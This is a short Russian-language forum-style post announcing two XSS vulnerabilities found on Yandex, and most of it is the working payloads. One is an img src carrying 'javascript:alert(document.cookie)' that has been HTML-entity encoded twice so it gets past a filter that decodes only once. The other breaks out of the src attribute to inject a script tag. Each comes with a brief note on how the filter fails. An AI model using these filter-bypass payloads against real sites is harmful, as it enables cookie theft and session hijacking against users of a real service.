Вот на yandex нашёл 2 xss.
1.
Код:
<img src="&#106&#97&#118&#97&#115&#99&#114&#105&#112&#116&#58&#97&#108&#101&#114&#116&#40&#100&#111&#99&#117&#109&#101&#110&#116&#46&#99&#111&#111&#107&#105&#101&#41">
суть в том, что javascript
:alert(document.cookie) кодируется к виду &#..., а потом получившаяся строчка ещё раз кодируется по такому же принципу. Фильтр один раз декодирует src и получится такое:
Код:
<img src="javascript:alert(document.cookie)">
это "javascript..." закодированое 1 раз
а это браузер прекрасно поймёт
2.
Код:
<img src=a"><a id=xxx></a><script>alert(document.cookie);</script><a src=">
синим цветом - alert(document.cookie);
Ошибка фильтра опять в том, что неправильно понимает содержимое src и ещё хуже декодирует строки типа &#...